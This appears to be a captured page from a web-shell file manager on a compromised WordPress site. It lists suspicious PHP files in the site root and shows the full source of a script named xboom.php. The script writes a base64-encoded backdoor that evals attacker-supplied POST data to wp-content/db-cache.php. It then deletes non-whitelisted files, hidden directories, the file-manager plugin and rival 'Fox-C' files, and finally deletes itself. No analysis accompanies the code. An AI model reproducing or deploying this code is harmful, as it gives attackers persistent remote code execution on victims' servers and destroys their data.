at path：
ROOT
/
xboom.php
run：
R
W
Run
.well-known
DIR
2026-08-01 09:35:56
R
W
Run
5e455
DIR
2026-08-24 05:19:23
R
W
Run
69ba6c
DIR
2026-08-07 07:54:23
R
W
Run
89873
DIR
2026-08-27 14:19:27
R
W
Run
9eee9
DIR
2026-08-27 05:41:50
R
W
Run
ae4d53
DIR
2026-08-24 05:19:18
R
W
Run
images
DIR
2026-08-07 07:54:23
R
W
Run
wp-admin
DIR
2026-08-07 07:54:23
R
W
Run
wp-content
DIR
2026-08-24 05:19:18
R
W
Run
wp-includes
DIR
2026-08-27 05:45:31
R
W
Run
.htaccess
289 By
2026-10-07 00:39:49
R
W
Run
Delete
Rename
3msrguem0d25.php
36.16 KB
2026-08-17 13:40:51
R
W
Run
Delete
Rename
66.php
1.18 MB
2026-03-05 16:37:12
R
W
Run
Delete
Rename
8.php
14.78 KB
2026-03-05 16:38:08
R
W
Run
Delete
Rename
ammika.php
27.61 KB
2026-08-05 08:04:30
R
W
Run
Delete
Rename
bootstrap.php
4.46 KB
2026-10-03 15:08:11
R
W
Run
buy.php
1.51 KB
2025-02-21 05:19:18
R
W
Run
chosen.php
122.65 KB
2026-08-04 01:05:27
R
W
Run
Delete
Rename
click.php
1.29 KB
2024-05-16 05:19:18
R
W
Run
css
386 By
2026-08-22 08:22:53
R
W
Run
Delete
Rename
defaults.php
2 KB
2024-09-24 05:43:08
R
W
Run
error_log
248.54 MB
2026-10-07 06:29:11
R
W
Run
Delete
Rename
ft6p5pfd695u.php
39.47 KB
2026-08-18 15:04:02
R
W
Run
Delete
Rename
goods.php
1.44 KB
2024-11-20 05:43:08
R
W
Run
google3620f72c32443e03.html
53 By
2026-08-05 08:04:33
R
W
Run
Delete
Rename
index.php
12.5 KB
2022-12-03 06:03:17
R
W
Run
index.php0
12.5 KB
2024-06-12 05:43:07
R
W
Run
Delete
Rename
kill.php
1.32 KB
2026-08-04 01:16:05
R
W
Run
Delete
Rename
networks.php
1.93 KB
2024-08-18 05:43:08
R
W
Run
options.php
1.93 KB
2024-08-28 05:19:18
R
W
Run
plugins.php
2.03 KB
2024-10-10 05:43:08
R
W
Run
product.php
2 KB
2024-02-01 07:54:23
R
W
Run
robots.txt
334 By
2024-12-28 05:43:08
R
W
Run
saiga.php
27.74 KB
2026-08-05 08:04:38
R
W
Run
Delete
Rename
simple.php
15.05 KB
2026-08-04 01:05:27
R
W
Run
Delete
Rename
wp-admin.php
1.08 KB
2026-08-22 08:22:52
R
W
Run
Delete
Rename
wp-log1n.php
1.72 KB
2024-02-17 05:19:18
R
W
Run
wp-registry.php
7.04 KB
2026-10-03 15:08:11
R
W
Run
xboom.php
3.53 KB
2026-10-06 00:39:59
R
W
Run
Delete
Rename
error_log
up
📄
xboom.php
Save
<?php //Ironhand $file = $_SERVER['DOCUMENT_ROOT']."/wp-config.php"; if(file_exists($file)) { echo "Wordpres"; } else { exit('God Bless You!'); } $handler = opendir($_SERVER['DOCUMENT_ROOT']); $txt = base64_decode('PD9waHAgDQpmb3JlYWNoKCRfUE9TVCBhcyAkayA9PiAkdil7DQoJJGtrID0gQHBhY2soIkgqIiwgJGspOw0KCSRfUE9TVFska2tdPUBwYWNrKCJIKiIsICR2KTsNCn0NCkBldmFsKCRfUE9TVFsnZ29vZ2xlJ10pOw0KZWNobyAnZ2cnOw0KPz4='); file_put_contents($_SERVER['DOCUMENT_ROOT']."/wp-content/db-cache.php",$txt); $all = array(); while(($filename = readdir($handler)) !== false ) { if($filename != "." && $filename != "..") { if(is_dir($_SERVER['DOCUMENT_ROOT'].'/'.$filename)){ if(substr($filename, 0, 1) == ".") { deldir($_SERVER['DOCUMENT_ROOT'].'/'.$filename.'/'); } } else { array_push($all,$filename); } } } closedir($handler); $wp_files = array("readme.html",".htaccess","wp-admin","wp-content","text.php","railery.php","abetment.php","rasse.php","hidey.php","wp-includes","cong.php","fun.php","item.php","wp-conflg.php","paragraph.php","index.php","license.txt","readme.html","wp-activate.php","wp-blog-header.php","wp-comments-post.php","wp-config-sample.php","godsend.php","wp-config.php","hiroshi.php","kajisak.php","wp-cron.php","wp-links-opml.php","wp-load.php","wp-login.php","wp-mail.php","wp-settings.php","wp-signup.php","wp-trackback.php","xmlrpc.php","report.php","geju.php","myk.php","mds.php","head.php"); $del = array_merge(array_diff($all,$wp_files)); echo '<pre>'; print_r($del); foreach($del as $value){ $val = $_SERVER['DOCUMENT_ROOT'].'/'.$value; if (is_file($val)) { if (unlink($val)) { echo $val.' deleted successfully<br>'; } else { echo $val.' <font color="red">Permission denied</font><br>'; } } else { echo $val.' <font color="red"> is dir or unknown file</font><br>'; } } if(isset($_REQUEST["rmdir"])){ $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_REQUEST["rmdir"].'/'; } else{ $path = $_SERVER['DOCUMENT_ROOT']."/wp-content/plugins/wp-file-manager/"; } function deldir($path){ if(is_dir($path)){ $p = scandir($path); foreach($p as $val){ if($val !="." && $val !=".."){ if(is_dir($path.$val)){ deldir($path.$val.'/'); @rmdir($path.$val.'/'); }else{ unlink($path.$val); } } } rmdir($path); } else { echo '<br><br>'.$path.'<font color="red">Not Found! Try it again!!!</font><br>'; unlink($_SERVER["SCRIPT_FILENAME"]); exit(); } } if(is_dir($path)) { echo $path.' <font color="red">Permission denied</font><br>'; } else { echo $path." deleted successfully"; } function rrmdir($src) { if (file_exists($src)) { $dir = opendir($src); while (false !== ($file = readdir($dir))) { if (($file != '.') && ($file != '..')) { $full = $src . '/' . $file; if (is_dir($full)&&substr_count($full,'/')<=10) { rrmdir($full); } else if(strpos($full,'Fox-C')!==false) { unlink($full); } } } closedir($dir); if(strpos($src,'Fox-C')!==false) rmdir($src); } } rrmdir($_SERVER['DOCUMENT_ROOT']); echo '<br>All Clean!'; unlink($_SERVER["SCRIPT_FILENAME"]);